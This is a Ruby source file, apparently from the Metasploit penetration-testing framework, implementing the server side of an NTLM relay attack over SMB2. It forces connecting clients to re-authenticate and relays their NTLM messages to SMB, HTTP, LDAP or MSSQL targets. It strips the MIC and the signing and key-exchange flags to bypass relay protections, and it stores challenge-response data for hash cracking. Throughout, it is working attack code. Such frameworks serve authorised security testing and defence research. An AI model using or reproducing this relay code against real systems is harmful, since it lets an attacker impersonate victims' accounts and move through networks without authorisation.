module Msf::Exploit::Remote::SMB::Relay::NTLM
  # This class represents a single connected client to the server. It stores and processes connection specific related
  # information.
  # Has overridden methods than allow smb relay attacks.
  class ServerClient < ::RubySMB::Server::ServerClient

    # The NT Status that will cause a client to reattempt authentication
    FORCE_RETRY_SESSION_SETUP = ::WindowsError::NTStatus::STATUS_NETWORK_SESSION_EXPIRED

    # @param [Msf::Exploit::Remote::Relay::TargetList] relay_targets Relay targets
    # @param [Object] listener A listener that can receive on_relay_success/on_relay_failure events
    def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:)
      super(server, dispatcher)

      @timeout = relay_timeout
      @relay_targets = relay_targets
      @relay_timeout = relay_timeout
      @listener = listener
    end

    def prepare_relay(session)
      logger.print_status("Relaying to next target #{session.metadata[:relay_target]}")

      if session.metadata[:relay_target].protocol == :smb && session.metadata[:relay_target].ip == peerhost
        logger.print_warning('Relaying SMB to SMB on the same host will not work if the target has been patched for MS08-068')
      end

      relayed_connection = create_relay_client(
        session.metadata[:relay_target],
        @relay_timeout
      )

      if relayed_connection.nil?
        @relay_targets.on_relay_end(session.metadata[:relay_target], identity: session.metadata[:identity], is_success: false)
        session.metadata[:relay_mode] = false
      else
        session.metadata[:relay_mode] = true
      end

      session.metadata[:relayed_connection] = relayed_connection
      session.state = :in_progress
    end

    def do_tree_connect_smb2(request, session)
      logger.print_status("Received request for #{session.metadata[:identity]}")
      # Attempt to select the next target to relay to
      session.metadata[:relay_target] = @relay_targets.next(session.metadata[:identity])
      # If there's no more targets to relay to, just tree connect to the currently running server instead
      if session.metadata[:relay_target].nil?
        logger.print_status("Identity: #{session.metadata[:identity]} - All targets relayed to")
        return super(request, session)
      end
      prepare_relay(session)

      response = RubySMB::SMB2::Packet::TreeConnectResponse.new
      response.smb2_header.nt_status = FORCE_RETRY_SESSION_SETUP.value

      response
    end

    #
    # Handle an SMB version 1 message.
    #
    # @param [String] raw_request The bytes of the entire SMB request.
    # @param [RubySMB::SMB1::SMBHeader] header The request header.
    # @return [RubySMB::GenericPacket]
    def handle_smb1(raw_request, header)
      _port, ip_address = ::Socket::unpack_sockaddr_in(getpeername)
      logger.print_warning("Cannot relay request from #{ip_address}. The SMB1 #{::RubySMB::SMB1::Commands.name(header.command)} command is not supported - https://github.com/rapid7/metasploit-framework/issues/16261")
      raise NotImplementedError
    end

    def do_session_setup_smb2(request, session)
      # TODO: Add shared helper for grabbing session lookups
      session_id = request.smb2_header.session_id
      if session_id == 0
        session_id = rand(1..0xfffffffe)
        session = @session_table[session_id] = ::RubySMB::Server::Session.new(session_id)
      else
        session = @session_table[session_id]
        if session.nil?
          response = SMB2::Packet::ErrorPacket.new
          response.smb2_header.nt_status = WindowsError::NTStatus::STATUS_USER_SESSION_DELETED
          return response
        end
      end

      # Prepare the relay now, if there's only one target to relay to and this is the first session setup message
      if @relay_targets && @relay_targets.each.size == 1 && request.smb2_header.message_id == 1
        session.metadata[:relay_target] = @relay_targets.next(session.metadata[:identity])
        prepare_relay(session)
      end

      # Perform a normal setup flow with ruby_smb
      unless session&.metadata[:relay_mode]
        response = super
        session.metadata[:identity] = session.user_id

        # TODO: Remove guest flag
        return response
      end

      relay_result = self.relay_ntlmssp(session, request.buffer.to_binary_s)
      return if relay_result.nil?

      response = ::RubySMB::SMB2::Packet::SessionSetupResponse.new
      response.smb2_header.credits = 1
      response.smb2_header.message_id = request.smb2_header.message_id
      response.smb2_header.session_id = session_id

      response.smb2_header.nt_status = relay_result.nt_status.value
      if relay_result.nt_status == ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
        response.smb2_header.nt_status = ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED.value
        if relay_result.message && session.metadata[:ntlm_wrapper] == :none
          response.buffer = relay_result.message.serialize
        elsif relay_result.message && session.metadata[:ntlm_wrapper] == :gss_spnego
          response.buffer = RubySMB::Gss.gss_type2(relay_result.message.serialize)
        end

        if @dialect == '0x0311'
          update_preauth_hash(response)
        end

        return response
      end

      update_preauth_hash(request) if @dialect == '0x0311'
      if relay_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
        response.smb2_header.credits = 32
        session.state = :valid
        session.user_id = session.metadata[:identity]
        # TODO: This is invalid now with the relay logic in place
        session.key = @gss_authenticator.session_key
        session.signing_required = request.security_mode.signing_required == 1
      elsif relay_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED && @dialect == '0x0311'
        update_preauth_hash(response)
      end

      response
    end

    def valid_ntlm_blob?(blob)
      blob&.start_with?("NTLMSSP\x00")
    end

    def validate_ntlm_blob!(blob)
      unless valid_ntlm_blob?(blob)
        raise ArgumentError, 'The NTLM blob found was malformed'
      end
    end

    def process_gss_spnego_init(incoming_security_buffer)
      begin
        gss_init = Rex::Proto::Gss::SpnegoNegTokenInit.parse(incoming_security_buffer)
        ntlm_blob = gss_init.mech_token
        validate_ntlm_blob!(ntlm_blob)
        ntlm_blob
      rescue RASN1::ASN1Error => e
        raise ArgumentError, "Failed to parse NTLMSSP Type1 message from GSS: #{e.message}"
      end
    end

    def process_gss_spnego_targ(incoming_security_buffer)
      begin
        gss_targ = Rex::Proto::Gss::SpnegoNegTokenTarg.parse(incoming_security_buffer)
        ntlm_blob = gss_targ.response_token
        validate_ntlm_blob!(ntlm_blob)
        ntlm_blob
      rescue RASN1::ASN1Error, ArgumentError => e
        raise ArgumentError, "Failed to parse NTLMSSP Type3 message from GSS: #{e.message}"
      end
    end

    def relay_ntlmssp(session, incoming_security_buffer = nil)
      # TODO: Add support for a default NTLM provider in ruby_smb
      begin
        buf = incoming_security_buffer.to_s.b
        if valid_ntlm_blob?(buf)
          ntlm_message = Net::NTLM::Message.parse(buf)
          session.metadata[:ntlm_wrapper] = :none
        else

          gss_api = OpenSSL::ASN1.decode(buf)
          if gss_api&.tag == 0 && gss_api&.tag_class == :APPLICATION
            incoming_security_buffer = process_gss_spnego_init(incoming_security_buffer)
            ntlm_message = Net::NTLM::Message.parse(incoming_security_buffer)
          elsif gss_api&.tag == 1 && gss_api&.tag_class == :CONTEXT_SPECIFIC
            incoming_security_buffer = process_gss_spnego_targ(incoming_security_buffer)
            ntlm_message = Net::NTLM::Message.parse(incoming_security_buffer)
          end
          session.metadata[:ntlm_wrapper] = :gss_spnego
        end
      rescue ArgumentError, OpenSSL::ASN1::ASN1Error => e
        logger.print_error("Failed to parse incoming NTLM message: #{e.message}")
        return
      end

      # NTLM negotiation request
      # Choose the next machine to relay to, and send the incoming security buffer to the relay target
      if ntlm_message.is_a?(::Net::NTLM::Message::Type1)
        relayed_connection = session.metadata[:relayed_connection]
        logger.info(
          "Relaying NTLM type 1 message to #{relayed_connection.target} "\
          "(Always Sign: #{ntlm_message.has_flag?(:ALWAYS_SIGN)}, "\
          "Sign: #{ntlm_message.has_flag?(:SIGN)}, Seal: #{ntlm_message.has_flag?(:SEAL)})"
        )

        if relayed_connection.target.drop_mic_and_sign_key_exch_flags
          incoming_security_buffer = do_drop_mic_and_flags(ntlm_message)
        elsif relayed_connection.target.drop_mic_only
          incoming_security_buffer = do_drop_mic(ntlm_message)
        end

        relay_result = relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)
        return nil unless relay_result&.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED

        # Store the incoming negotiation message, i.e. ntlm_type1
        session.metadata[:incoming_negotiate_message] = ntlm_message

        # Store the relay target's server challenge, as it is used later when creating the JTR hash
        session.metadata[:relay_target_server_challenge] = relay_result.message

        relay_result
      # NTLM challenge, which should never be received from a calling client
      elsif ntlm_message.is_a?(::Net::NTLM::Message::Type2)
        RubySMB::Gss::Provider::Result.new(nil, WindowsError::NTStatus::STATUS_LOGON_FAILURE)

      # NTLM challenge response
      elsif ntlm_message.is_a?(::Net::NTLM::Message::Type3)
        relayed_connection = session.metadata[:relayed_connection]
        logger.info("Relaying #{ntlm_message.ntlm_version == :ntlmv2 ? 'NTLMv2' : 'NTLMv1'} type 3 message to #{relayed_connection.target} as #{session.metadata[:identity]}")

        if relayed_connection.target.drop_mic_and_sign_key_exch_flags
          incoming_security_buffer = do_drop_mic_and_flags(ntlm_message)
        elsif relayed_connection.target.drop_mic_only
          incoming_security_buffer = do_drop_mic(ntlm_message)
        end

        relay_result = relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)

        is_success = relay_result&.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
        @relay_targets.on_relay_end(relayed_connection.target, identity: session.metadata[:identity], is_success: is_success)

        if is_success
          session.metadata[:incoming_challenge_response] = ntlm_message

          @listener.on_ntlm_type3(
            address: relayed_connection.target.ip,
            ntlm_type1: session.metadata[:incoming_negotiate_message],
            ntlm_type2: session.metadata[:relay_target_server_challenge],
            ntlm_type3: session.metadata[:incoming_challenge_response],
            service_name: 'SMB'
         )
          if session.metadata[:identity].blank?
            logger.print_status("Anonymous Identity - Successfully authenticated against relay target #{relayed_connection.target}")
            relayed_connection.disconnect!
          else
            logger.print_good("Identity: #{session.metadata[:identity]} - Successfully authenticated against relay target #{relayed_connection.target}")
            @listener.on_relay_success(relay_connection: relayed_connection, relay_identity: session.metadata[:identity])
          end
        else
          @listener.on_relay_failure(relay_connection: relayed_connection)
          relayed_connection.disconnect!

          if relay_result.nil? || relay_result.nt_status.nil?
            logger.print_error("Identity: #{session.metadata[:identity]} - Relay against target #{relayed_connection.target} failed with unknown error")
          elsif relay_result.nt_status == WindowsError::NTStatus::STATUS_LOGON_FAILURE
            logger.print_warning("Identity: #{session.metadata[:identity]} - Relayed client authentication failed on target server #{relayed_connection.target}")
          else
            error_code = WindowsError::NTStatus.find_by_retval(relay_result.nt_status.value).first
            if error_code.nil?
              logger.print_warning("Identity: #{session.metadata[:identity]} - Relay against target #{relayed_connection.target} failed with unexpected error: #{relay_result.nt_status.value}")
            else
              logger.print_warning("Identity: #{session.metadata[:identity]} - Relay against target #{relayed_connection.target} failed with unexpected error: #{error_code.name}: #{error_code.description}")
            end
          end

          session.metadata.delete(:relay_mode)
        end

        relay_result

      # Should never occur
      else
        logger.error("Invalid ntlm request")
        RubySMB::Gss::Provider::Result.new(nil, WindowsError::NTStatus::STATUS_LOGON_FAILURE)
      end
    end

    def create_relay_client(target, timeout)
      case target.protocol
      when :http, :https
        client = Msf::Exploit::Remote::Relay::NTLM::Target::HTTP::Client.create(self, target, logger, timeout)
      when :smb
        client = Msf::Exploit::Remote::Relay::NTLM::Target::SMB::Client.create(self, target, logger, timeout)
      when :ldap
        client = Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client.create(self, target, logger, timeout)
      when :mssql
        client = Msf::Exploit::Remote::Relay::NTLM::Target::MSSQL::Client.create(self, target, logger, timeout, framework_module: @listener)
      else
        raise RuntimeError, "unsupported protocol: #{target.protocol}"
      end

      client
    rescue ::Rex::ConnectionTimeout => e
      msg = "Timeout error retrieving server challenge from target #{target}. Most likely caused by unresponsive target"
      elog(msg, error: e)
      logger.print_error msg
      nil
    rescue ::Exception => e
      msg = "Unable to create relay to #{target}"
      elog(msg, error: e)
      logger.print_error msg
      nil
    end


    private

    def do_drop_mic(ntlm_message)
      logger.info('Dropping MIC')
      ntlm_message.serialize
    end

    def do_drop_mic_and_flags(ntlm_message)
      logger.info('Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`')
      flags = ntlm_message.flag
      flags &= ~Net::NTLM::FLAGS[:ALWAYS_SIGN] & ~Net::NTLM::FLAGS[:SIGN] & ~Net::NTLM::FLAGS[:KEY_EXCHANGE]
      ntlm_message.flag = flags
      ntlm_message.serialize
    end

  end
end
